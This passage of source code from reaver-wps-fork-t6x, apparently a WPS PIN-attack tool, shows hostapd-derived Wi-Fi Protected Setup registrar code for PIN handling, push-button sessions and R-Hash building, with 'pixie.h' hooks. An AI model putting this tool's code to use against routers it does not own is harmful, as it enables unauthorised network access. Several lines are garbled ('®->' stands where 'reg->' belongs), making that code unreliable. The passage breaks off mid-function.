wps_build_version(struct wpabuf *msg); int wps_build_msg_type(struct wpabuf *msg, enum wps_msg_type msg_type); int wps_build_enrollee_nonce(struct wps_data *wps, struct wpabuf *msg); int wps_build_registrar_nonce(struct wps_data *wps, struct wpabuf *msg); int wps_build_auth_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_encr_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_conn_type_flags(struct wps_data *wps, struct wpabuf *msg); int wps_build_assoc_state(struct wps_data *wps, struct wpabuf *msg); int wps_build_oob_dev_password(struct wpabuf *msg, struct wps_context *wps); /* wps_attr_process.c */ int wps_process_authenticator(struct wps_data *wps, const u8 *authenticator, const struct wpabuf *msg); int wps_process_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg, const u8 *key_wrap_auth); int wps_process_cred(struct wps_parse_attr *attr, struct wps_credential *cred); int wps_process_ap_settings(struct wps_parse_attr *attr, struct wps_credential *cred); /* wps_enrollee.c */ struct wpabuf * wps_enrollee_get_msg(struct wps_data *wps, enum wsc_op_code *op_code); enum wps_process_res wps_enrollee_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); /* wps_registrar.c */ struct wpabuf * wps_registrar_get_msg(struct wps_data *wps, enum wsc_op_code *op_code, int type); enum wps_process_res wps_registrar_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); int wps_build_cred(struct wps_data *wps, struct wpabuf *msg); int wps_device_store(struct wps_registrar *reg, struct wps_device_data *dev, const u8 *uuid); void wps_registrar_selected_registrar_changed(struct wps_registrar *reg); /* ndef.c */ struct wpabuf * ndef_parse_wifi(struct wpabuf *buf); struct wpabuf * ndef_build_wifi(struct wpabuf *buf); static inline int wps_version_supported(const u8 *version) { /* Require major version match, but allow minor version differences */ return version && (*version & 0xf0) == (WPS_VERSION & 0xf0); } #endif /* WPS_I_H */ reaver-wps-fork-t6x-1.6.6/src/wps/wps_registrar.c000066400000000000000000002306071363372615500217570ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - Registrar * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/base64.h" #include "utils/eloop.h" #include "utils/uuid.h" #include "utils/list.h" #include "crypto/crypto.h" #include "crypto/sha256.h" #include "common/ieee802_11_defs.h" #include "wps_i.h" #include "wps_dev_attr.h" #include "../misc.h" #include "pixie.h" #define WPS_WORKAROUNDS struct wps_uuid_pin { struct dl_list list; u8 uuid[WPS_UUID_LEN]; int wildcard_uuid; u8 *pin; size_t pin_len; #define PIN_LOCKED BIT(0) #define PIN_EXPIRES BIT(1) int flags; struct os_time expiration; }; static void wps_free_pin(struct wps_uuid_pin *pin) { os_free(pin->pin); os_free(pin); } static void wps_remove_pin(struct wps_uuid_pin *pin) { dl_list_del(&pin->list); wps_free_pin(pin); } static void wps_free_pins(struct dl_list *pins) { struct wps_uuid_pin *pin, *prev; dl_list_for_each_safe(pin, prev, pins, struct wps_uuid_pin, list) wps_remove_pin(pin); } struct wps_pbc_session { struct wps_pbc_session *next; u8 addr[ETH_ALEN]; u8 uuid_e[WPS_UUID_LEN]; struct os_time timestamp; }; static void wps_free_pbc_sessions(struct wps_pbc_session *pbc) { struct wps_pbc_session *prev; while (pbc) { prev = pbc; pbc = pbc->next; os_free(prev); } } struct wps_registrar_device { struct wps_registrar_device *next; struct wps_device_data dev; u8 uuid[WPS_UUID_LEN]; }; struct wps_registrar { struct wps_context *wps; int pbc; int selected_registrar; int (*new_psk_cb)(void *ctx, const u8 *mac_addr, const u8 *psk, size_t psk_len); int (*set_ie_cb)(void *ctx, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie); void (*pin_needed_cb)(void *ctx, const u8 *uuid_e, const struct wps_device_data *dev); void (*reg_success_cb)(void *ctx, const u8 *mac_addr, const u8 *uuid_e); void (*set_sel_reg_cb)(void *ctx, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); void (*enrollee_seen_cb)(void *ctx, const u8 *addr, const u8 *uuid_e, const u8 *pri_dev_type, u16 config_methods, u16 dev_password_id, u8 request_type, const char *dev_name); void *cb_ctx; struct dl_list pins; struct wps_pbc_session *pbc_sessions; int skip_cred_build; struct wpabuf *extra_cred; int disable_auto_conf; int sel_reg_union; int sel_reg_dev_password_id_override; int sel_reg_config_methods_override; int static_wep_only; struct wps_registrar_device *devices; int force_pbc_overlap; }; static int wps_set_ie(struct wps_registrar *reg); static void wps_registrar_pbc_timeout(void *eloop_ctx, void *timeout_ctx); static void wps_registrar_set_selected_timeout(void *eloop_ctx, void *timeout_ctx); static void wps_free_devices(struct wps_registrar_device *dev) { struct wps_registrar_device *prev; while (dev) { prev = dev; dev = dev->next; wps_device_data_free(&prev->dev); os_free(prev); } } static struct wps_registrar_device * wps_device_get(struct wps_registrar *reg, const u8 *addr) { struct wps_registrar_device *dev; for (dev = reg->devices; dev; dev = dev->next) { if (os_memcmp(dev->dev.mac_addr, addr, ETH_ALEN) == 0) return dev; } return NULL; } static void wps_device_clone_data(struct wps_device_data *dst, struct wps_device_data *src) { os_memcpy(dst->mac_addr, src->mac_addr, ETH_ALEN); os_memcpy(dst->pri_dev_type, src->pri_dev_type, WPS_DEV_TYPE_LEN); #define WPS_STRDUP(n) \ os_free(dst->n); \ dst->n = src->n ? os_strdup(src->n) : NULL WPS_STRDUP(device_name); WPS_STRDUP(manufacturer); WPS_STRDUP(model_name); WPS_STRDUP(model_number); WPS_STRDUP(serial_number); #undef WPS_STRDUP } int wps_device_store(struct wps_registrar *reg, struct wps_device_data *dev, const u8 *uuid) { struct wps_registrar_device *d; d = wps_device_get(reg, dev->mac_addr); if (d == NULL) { d = os_zalloc(sizeof(*d)); if (d == NULL) return -1; d->next = reg->devices; reg->devices = d; } wps_device_clone_data(&d->dev, dev); os_memcpy(d->uuid, uuid, WPS_UUID_LEN); return 0; } static void wps_registrar_add_pbc_session(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { struct wps_pbc_session *pbc, *prev = NULL; struct os_time now; os_get_time(&now); pbc = reg->pbc_sessions; while (pbc) { if (os_memcmp(pbc->addr, addr, ETH_ALEN) == 0 && os_memcmp(pbc->uuid_e, uuid_e, WPS_UUID_LEN) == 0) { if (prev) prev->next = pbc->next; else reg->pbc_sessions = pbc->next; break; } prev = pbc; pbc = pbc->next; } if (!pbc) { pbc = os_zalloc(sizeof(*pbc)); if (pbc == NULL) return; os_memcpy(pbc->addr, addr, ETH_ALEN); if (uuid_e) os_memcpy(pbc->uuid_e, uuid_e, WPS_UUID_LEN); } pbc->next = reg->pbc_sessions; reg->pbc_sessions = pbc; pbc->timestamp = now; /* remove entries that have timed out */ prev = pbc; pbc = pbc->next; while (pbc) { if (now.sec > pbc->timestamp.sec + WPS_PBC_WALK_TIME) { prev->next = NULL; wps_free_pbc_sessions(pbc); break; } prev = pbc; pbc = pbc->next; } } static void wps_registrar_remove_pbc_session(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { struct wps_pbc_session *pbc, *prev = NULL; pbc = reg->pbc_sessions; while (pbc) { if (os_memcmp(pbc->addr, addr, ETH_ALEN) == 0 && os_memcmp(pbc->uuid_e, uuid_e, WPS_UUID_LEN) == 0) { if (prev) prev->next = pbc->next; else reg->pbc_sessions = pbc->next; os_free(pbc); break; } prev = pbc; pbc = pbc->next; } } static int wps_registrar_pbc_overlap(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { int count = 0; struct wps_pbc_session *pbc; struct os_time now; os_get_time(&now); for (pbc = reg->pbc_sessions; pbc; pbc = pbc->next) { if (now.sec > pbc->timestamp.sec + WPS_PBC_WALK_TIME) break; if (addr == NULL || os_memcmp(addr, pbc->addr, ETH_ALEN) || uuid_e == NULL || os_memcmp(uuid_e, pbc->uuid_e, WPS_UUID_LEN)) count++; } if (addr || uuid_e) count++; return count > 1 ? 1 : 0; } static int wps_build_wps_state(struct wps_context *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Wi-Fi Protected Setup State (%d)", wps->wps_state); wpabuf_put_be16(msg, ATTR_WPS_STATE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, wps->wps_state); return 0; } #ifdef CONFIG_WPS_UPNP static void wps_registrar_free_pending_m2(struct wps_context *wps) { struct upnp_pending_message *p, *p2, *prev = NULL; p = wps->upnp_msgs; while (p) { if (p->type == WPS_M2 || p->type == WPS_M2D) { if (prev == NULL) wps->upnp_msgs = p->next; else prev->next = p->next; wpa_printf(MSG_DEBUG, "WPS UPnP: Drop pending M2/M2D"); p2 = p; p = p->next; wpabuf_free(p2->msg); os_free(p2); continue; } prev = p; p = p->next; } } #endif /* CONFIG_WPS_UPNP */ static int wps_build_ap_setup_locked(struct wps_context *wps, struct wpabuf *msg) { if (wps->ap_setup_locked) { wpa_printf(MSG_DEBUG, "WPS: * AP Setup Locked"); wpabuf_put_be16(msg, ATTR_AP_SETUP_LOCKED); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); } return 0; } static int wps_build_selected_registrar(struct wps_registrar *reg, struct wpabuf *msg) { if (!reg->sel_reg_union) return 0; wpa_printf(MSG_DEBUG, "WPS: * Selected Registrar"); wpabuf_put_be16(msg, ATTR_SELECTED_REGISTRAR); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); return 0; } static int wps_build_sel_reg_dev_password_id(struct wps_registrar *reg, struct wpabuf *msg) { u16 id = reg->pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT; if (!reg->sel_reg_union) return 0; if (reg->sel_reg_dev_password_id_override >= 0) id = reg->sel_reg_dev_password_id_override; wpa_printf(MSG_DEBUG, "WPS: * Device Password ID (%d)", id); wpabuf_put_be16(msg, ATTR_DEV_PASSWORD_ID); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, id); return 0; } static int wps_build_sel_reg_config_methods(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; if (!reg->sel_reg_union) return 0; methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; if (reg->sel_reg_config_methods_override >= 0) methods = reg->sel_reg_config_methods_override; wpa_printf(MSG_DEBUG, "WPS: * Selected Registrar Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_SELECTED_REGISTRAR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } static int wps_build_probe_config_methods(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; /* * These are the methods that the AP supports as an Enrollee for adding * external Registrars. */ methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; wpa_printf(MSG_DEBUG, "WPS: * Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } static int wps_build_config_methods_r(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; if(reg == NULL) { return 0; } methods = WPS_CONFIG_LABEL | WPS_CONFIG_DISPLAY | WPS_CONFIG_PUSHBUTTON; /* methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; */ return wps_build_config_methods(msg, methods); } /** * wps_registrar_init - Initialize WPS Registrar data * @wps: Pointer to longterm WPS context * @cfg: Registrar configuration * Returns: Pointer to allocated Registrar data or %NULL on failure * * This function is used to initialize WPS Registrar functionality. It can be * used for a single Registrar run (e.g., when run in a supplicant) or multiple * runs (e.g., when run as an internal Registrar in an AP). Caller is * responsible for freeing the returned data with wps_registrar_deinit() when * Registrar functionality is not needed anymore. */ struct wps_registrar * wps_registrar_init(struct wps_context *wps, const struct wps_registrar_config *cfg) { struct wps_registrar *reg = os_zalloc(sizeof(*reg)); if (reg == NULL) return NULL; dl_list_init(®->pins); reg->wps = wps; reg->new_psk_cb = cfg->new_psk_cb; reg->set_ie_cb = cfg->set_ie_cb; reg->pin_needed_cb = cfg->pin_needed_cb; reg->reg_success_cb = cfg->reg_success_cb; reg->set_sel_reg_cb = cfg->set_sel_reg_cb; reg->enrollee_seen_cb = cfg->enrollee_seen_cb; reg->cb_ctx = cfg->cb_ctx; reg->skip_cred_build = cfg->skip_cred_build; if (cfg->extra_cred) { reg->extra_cred = wpabuf_alloc_copy(cfg->extra_cred, cfg->extra_cred_len); if (reg->extra_cred == NULL) { os_free(reg); return NULL; } } reg->disable_auto_conf = cfg->disable_auto_conf; reg->sel_reg_dev_password_id_override = -1; reg->sel_reg_config_methods_override = -1; reg->static_wep_only = cfg->static_wep_only; if (wps_set_ie(reg)) { wps_registrar_deinit(reg); return NULL; } return reg; } /** * wps_registrar_deinit - Deinitialize WPS Registrar data * @reg: Registrar data from wps_registrar_init() */ void wps_registrar_deinit(struct wps_registrar *reg) { if (reg == NULL) return; eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); wps_free_pins(®->pins); wps_free_pbc_sessions(reg->pbc_sessions); wpabuf_free(reg->extra_cred); wps_free_devices(reg->devices); os_free(reg); } /** * wps_registrar_add_pin - Configure a new PIN for Registrar * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E or %NULL for wildcard (any UUID) * @pin: PIN (Device Password) * @pin_len: Length of pin in octets * @timeout: Time (in seconds) when the PIN will be invalidated; 0 = no timeout * Returns: 0 on success, -1 on failure */ int wps_registrar_add_pin(struct wps_registrar *reg, const u8 *uuid, const u8 *pin, size_t pin_len, int timeout) { struct wps_uuid_pin *p; if(reg == NULL) return -1; p = os_zalloc(sizeof(*p)); if (p == NULL) return -1; if (uuid == NULL) p->wildcard_uuid = 1; else os_memcpy(p->uuid, uuid, WPS_UUID_LEN); p->pin = os_malloc(pin_len); if (p->pin == NULL) { os_free(p); return -1; } os_memcpy(p->pin, pin, pin_len); p->pin_len = pin_len; if (timeout) { p->flags |= PIN_EXPIRES; os_get_time(&p->expiration); p->expiration.sec += timeout; } dl_list_add(®->pins, &p->list); wpa_printf(MSG_DEBUG, "WPS: A new PIN configured (timeout=%d)", timeout); wpa_hexdump(MSG_DEBUG, "WPS: UUID", uuid, WPS_UUID_LEN); wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: PIN", pin, pin_len); reg->selected_registrar = 1; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); /* @@@ HACK: We don't use these registrar timeouts, so calling these eloop * functions causes a seg fault. */ /*eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); eloop_register_timeout(WPS_PBC_WALK_TIME, 0, wps_registrar_set_selected_timeout, reg, NULL); */ return 0; } static void wps_registrar_expire_pins(struct wps_registrar *reg) { struct wps_uuid_pin *pin, *prev; struct os_time now; if(reg != NULL) { os_get_time(&now); dl_list_for_each_safe(pin, prev, ®->pins, struct wps_uuid_pin, list) { if(pin != NULL) { if ((pin->flags & PIN_EXPIRES) && os_time_before(&pin->expiration, &now)) { wpa_hexdump(MSG_DEBUG, "WPS: Expired PIN for UUID", pin->uuid, WPS_UUID_LEN); wps_remove_pin(pin); } } } } } /** * wps_registrar_invalidate_pin - Invalidate a PIN for a specific UUID-E * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E * Returns: 0 on success, -1 on failure (e.g., PIN not found) */ int wps_registrar_invalidate_pin(struct wps_registrar *reg, const u8 *uuid) { struct wps_uuid_pin *pin, *prev; if(reg == NULL) return -1; dl_list_for_each_safe(pin, prev, ®->pins, struct wps_uuid_pin, list) { if (os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { wpa_hexdump(MSG_DEBUG, "WPS: Invalidated PIN for UUID", pin->uuid, WPS_UUID_LEN); wps_remove_pin(pin); return 0; } } return -1; } static const u8 * wps_registrar_get_pin(struct wps_registrar *reg, const u8 *uuid, size_t *pin_len) { struct wps_uuid_pin *pin, *found = NULL; if(reg == NULL) return NULL; wps_registrar_expire_pins(reg); dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (!pin->wildcard_uuid && os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { found = pin; break; } } if (!found) { /* Check for wildcard UUIDs since none of the UUID-specific * PINs matched */ dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (pin->wildcard_uuid == 1) { wpa_printf(MSG_DEBUG, "WPS: Found a wildcard " "PIN. Assigned it for this UUID-E"); pin->wildcard_uuid = 2; os_memcpy(pin->uuid, uuid, WPS_UUID_LEN); found = pin; break; } } } if (!found) return NULL; /* * Lock the PIN to avoid attacks based on concurrent re-use of the PIN * that could otherwise avoid PIN invalidations. */ if (found->flags & PIN_LOCKED) { wpa_printf(MSG_DEBUG, "WPS: Selected PIN locked - do not " "allow concurrent re-use"); return NULL; } *pin_len = found->pin_len; found->flags |= PIN_LOCKED; return found->pin; } /** * wps_registrar_unlock_pin - Unlock a PIN for a specific UUID-E * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E * Returns: 0 on success, -1 on failure * * PINs are locked to enforce only one concurrent use. This function unlocks a * PIN to allow it to be used again. If the specified PIN was configured using * a wildcard UUID, it will be removed instead of allowing multiple uses. */ int wps_registrar_unlock_pin(struct wps_registrar *reg, const u8 *uuid) { struct wps_uuid_pin *pin; if(reg != NULL) { dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { if (pin->wildcard_uuid == 2) { wpa_printf(MSG_DEBUG, "WPS: Invalidating used " "wildcard PIN"); return wps_registrar_invalidate_pin(reg, uuid); } pin->flags &= ~PIN_LOCKED; return 0; } } } return -1; } static void wps_registrar_stop_pbc(struct wps_registrar *reg) { if(reg != NULL) { reg->selected_registrar = 0; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); } } static void wps_registrar_pbc_timeout(void *eloop_ctx, void *timeout_ctx) { struct wps_registrar *reg = eloop_ctx; if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PBC timed out - disable PBC mode"); wps_pbc_timeout_event(reg->wps); wps_registrar_stop_pbc(reg); } } /** * wps_registrar_button_pushed - Notify Registrar that AP button was pushed * @reg: Registrar data from wps_registrar_init() * Returns: 0 on success, -1 on failure * * This function is called on an AP when a push button is pushed to activate * PBC mode. The PBC mode will be stopped after walk time (2 minutes) timeout * or when a PBC registration is completed. */ int wps_registrar_button_pushed(struct wps_registrar *reg) { if(reg == NULL) return -1; if (wps_registrar_pbc_overlap(reg, NULL, NULL)) { wpa_printf(MSG_DEBUG, "WPS: PBC overlap - do not start PBC " "mode"); wps_pbc_overlap_event(reg->wps); return -1; } wpa_printf(MSG_DEBUG, "WPS: Button pushed - PBC mode started"); reg->force_pbc_overlap = 0; reg->selected_registrar = 1; reg->pbc = 1; wps_registrar_selected_registrar_changed(reg); eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); eloop_register_timeout(WPS_PBC_WALK_TIME, 0, wps_registrar_pbc_timeout, reg, NULL); return 0; } static void wps_registrar_pbc_completed(struct wps_registrar *reg) { if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PBC completed - stopping PBC mode"); eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); wps_registrar_stop_pbc(reg); } } static void wps_registrar_pin_completed(struct wps_registrar *reg) { if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PIN completed using internal Registrar"); eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); reg->selected_registrar = 0; wps_registrar_selected_registrar_changed(reg); } } /** * wps_registrar_probe_req_rx - Notify Registrar of Probe Request * @reg: Registrar data from wps_registrar_init() * @addr: MAC address of the Probe Request sender * @wps_data: WPS IE contents * * This function is called on an AP when a Probe Request with WPS IE is * received. This is used to track PBC mode use and to detect possible overlap * situation with other WPS APs. */ void wps_registrar_probe_req_rx(struct wps_registrar *reg, const u8 *addr, const struct wpabuf *wps_data) { struct wps_parse_attr attr; if(reg == NULL) return; wpa_hexdump_buf(MSG_MSGDUMP, "WPS: Probe Request with WPS data received", wps_data); if (wps_parse_msg(wps_data, &attr) < 0) return; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported ProbeReq WPS IE " "version 0x%x", attr.version ? *attr.version : 0); return; } if (attr.config_methods == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Config Methods attribute in " "Probe Request"); return; } if (attr.dev_password_id == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password Id attribute " "in Probe Request"); return; } if (reg->enrollee_seen_cb && attr.uuid_e && attr.primary_dev_type && attr.request_type) { char *dev_name = NULL; if (attr.dev_name) { dev_name = os_zalloc(attr.dev_name_len + 1); if (dev_name) { os_memcpy(dev_name, attr.dev_name, attr.dev_name_len); } } reg->enrollee_seen_cb(reg->cb_ctx, addr, attr.uuid_e, attr.primary_dev_type, WPA_GET_BE16(attr.config_methods), WPA_GET_BE16(attr.dev_password_id), *attr.request_type, dev_name); os_free(dev_name); } if (WPA_GET_BE16(attr.dev_password_id) != DEV_PW_PUSHBUTTON) return; /* Not PBC */ wpa_printf(MSG_DEBUG, "WPS: Probe Request for PBC received from " MACSTR, MAC2STR(addr)); if (attr.uuid_e == NULL) { wpa_printf(MSG_DEBUG, "WPS: Invalid Probe Request WPS IE: No " "UUID-E included"); return; } wps_registrar_add_pbc_session(reg, addr, attr.uuid_e); if (wps_registrar_pbc_overlap(reg, addr, attr.uuid_e)) { wpa_printf(MSG_DEBUG, "WPS: PBC session overlap detected"); reg->force_pbc_overlap = 1; wps_pbc_overlap_event(reg->wps); } } static int wps_cb_new_psk(struct wps_registrar *reg, const u8 *mac_addr, const u8 *psk, size_t psk_len) { if(reg == NULL) return 0; if (reg->new_psk_cb == NULL) return 0; return reg->new_psk_cb(reg->cb_ctx, mac_addr, psk, psk_len); } static void wps_cb_pin_needed(struct wps_registrar *reg, const u8 *uuid_e, const struct wps_device_data *dev) { if(reg == NULL) return; if (reg->pin_needed_cb == NULL) return; reg->pin_needed_cb(reg->cb_ctx, uuid_e, dev); } static void wps_cb_reg_success(struct wps_registrar *reg, const u8 *mac_addr, const u8 *uuid_e) { if(reg == NULL) return; if (reg->reg_success_cb == NULL) return; reg->reg_success_cb(reg->cb_ctx, mac_addr, uuid_e); } static int wps_cb_set_ie(struct wps_registrar *reg, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie) { if(reg == NULL) return 0; return reg->set_ie_cb(reg->cb_ctx, beacon_ie, probe_resp_ie); } static void wps_cb_set_sel_reg(struct wps_registrar *reg) { if(reg == NULL) return; wpa_printf(MSG_DEBUG, "WPS: Enter wps_cg_set_sel_reg"); u16 methods = 0; if (reg->set_sel_reg_cb == NULL) { wpa_printf(MSG_DEBUG, "WPS: Leave wps_cg_set_sel_reg early"); return; } wpa_printf(MSG_DEBUG, "WPS: reg->selected_registrar"); if (reg->selected_registrar) { methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; } wpa_printf(MSG_DEBUG, "WPS: reg->set_sel_reg_cb"); reg->set_sel_reg_cb(reg->cb_ctx, reg->selected_registrar, reg->pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT, methods); wpa_printf(MSG_DEBUG, "WPS: Leave wps_cg_set_sel_reg"); } /* Encapsulate WPS IE data with one (or more, if needed) IE headers */ static struct wpabuf * wps_ie_encapsulate(struct wpabuf *data) { struct wpabuf *ie; const u8 *pos, *end; ie = wpabuf_alloc(wpabuf_len(data) + 100); if (ie == NULL) { wpabuf_free(data); return NULL; } pos = wpabuf_head(data); end = pos + wpabuf_len(data); while (end > pos) { size_t frag_len = end - pos; if (frag_len > 251) frag_len = 251; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(ie, 4 + frag_len); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); wpabuf_put_data(ie, pos, frag_len); pos += frag_len; } wpabuf_free(data); return ie; } static int wps_set_ie(struct wps_registrar *reg) { struct wpabuf *beacon; struct wpabuf *probe; if (reg->set_ie_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "WPS: Build Beacon and Probe Response IEs"); beacon = wpabuf_alloc(300); if (beacon == NULL) return -1; probe = wpabuf_alloc(400); if (probe == NULL) { wpabuf_free(beacon); return -1; } if (wps_build_version(beacon) || wps_build_wps_state(reg->wps, beacon) || wps_build_ap_setup_locked(reg->wps, beacon) || wps_build_selected_registrar(reg, beacon) || wps_build_sel_reg_dev_password_id(reg, beacon) || wps_build_sel_reg_config_methods(reg, beacon) || wps_build_version(probe) || wps_build_wps_state(reg->wps, probe) || wps_build_ap_setup_locked(reg->wps, probe) || wps_build_selected_registrar(reg, probe) || wps_build_sel_reg_dev_password_id(reg, probe) || wps_build_sel_reg_config_methods(reg, probe) || wps_build_resp_type(probe, reg->wps->ap ? WPS_RESP_AP : WPS_RESP_REGISTRAR) || wps_build_uuid_e(probe, reg->wps->uuid) || wps_build_device_attrs(®->wps->dev, probe) || wps_build_probe_config_methods(reg, probe) || wps_build_rf_bands(®->wps->dev, probe)) { wpabuf_free(beacon); wpabuf_free(probe); return -1; } beacon = wps_ie_encapsulate(beacon); probe = wps_ie_encapsulate(probe); if (!beacon || !probe) { wpabuf_free(beacon); wpabuf_free(probe); return -1; } if (reg->static_wep_only) { /* * Windows XP and Vista clients can get confused about * EAP-Identity/Request when they probe the network with * EAPOL-Start. In such a case, they may assume the network is * using IEEE 802.1X and prompt user for a certificate while * the correct (non-WPS) behavior would be to ask for the * static WEP key. As a workaround, use Microsoft Provisioning * IE to advertise that legacy 802.1X is not supported. */ const u8 ms_wps[7] = { WLAN_EID_VENDOR_SPECIFIC, 5, /* Microsoft Provisioning IE (00:50:f2:5) */ 0x00, 0x50, 0xf2, 5, 0x00 /* no legacy 802.1X or MS WPS */ }; wpa_printf(MSG_DEBUG, "WPS: Add Microsoft Provisioning IE " "into Beacon/Probe Response frames"); wpabuf_put_data(beacon, ms_wps, sizeof(ms_wps)); wpabuf_put_data(probe, ms_wps, sizeof(ms_wps)); } return wps_cb_set_ie(reg, beacon, probe); } static int wps_get_dev_password(struct wps_data *wps) { const u8 *pin; size_t pin_len = 0; os_free(wps->dev_password); wps->dev_password = NULL; pin = wps_registrar_get_pin(wps->wps->registrar, wps->uuid_e, &pin_len); if (pin == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password available for " "the Enrollee"); if(wps->wps->registrar != NULL) { wps_cb_pin_needed(wps->wps->registrar, wps->uuid_e, &wps->peer_dev); } return -1; } wps->dev_password = os_malloc(pin_len); if (wps->dev_password == NULL) return -1; os_memcpy(wps->dev_password, pin, pin_len); wps->dev_password_len = pin_len; return 0; } static int wps_build_uuid_r(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * UUID-R"); wpabuf_put_be16(msg, ATTR_UUID_R); wpabuf_put_be16(msg, WPS_UUID_LEN); wpabuf_put_data(msg, wps->uuid_r, WPS_UUID_LEN); return 0; } static int wps_build_r_hash(struct wps_data *wps, struct wpabuf *msg) { u8 *hash; const u8 *addr[4]; size_t len[4]; if (os_get_random(wps->snonce, 2 * WPS_SECRET_NONCE_LEN) < 0) return -1; wpa_hexdump(MSG_DEBUG, "WPS: R-S1", wps->snonce, WPS_SECRET_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-S2", wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); if (wps->dh_pubkey_e == NULL || wps->dh_pubkey_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: DH public keys not available for " "R-Hash derivation"); return -1; } wpa_printf(MSG_DEBUG, "WPS: * R-Hash1"); wpabuf_put_be16(msg, ATTR_R_HASH1); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* R-Hash1 = HMAC_AuthKey(R-S1 || PSK1 || PK_E || PK_R) */ addr[0] = wps->snonce; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash1", hash, SHA256_MAC_LEN); wpa_printf(MSG_DEBUG, "WPS: * R-Hash2"); wpabuf_put_be16(msg, ATTR_R_HASH2); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* R-Hash2 = HMAC_AuthKey(R-S2 || PSK2 || PK_E || PK_R) */ addr[0] = wps->snonce + WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash2", hash, SHA256_MAC_LEN); return 0; } static int wps_build_r_snonce1(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * R-SNonce1"); wpabuf_put_be16(msg, ATTR_R_SNONCE1); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce, 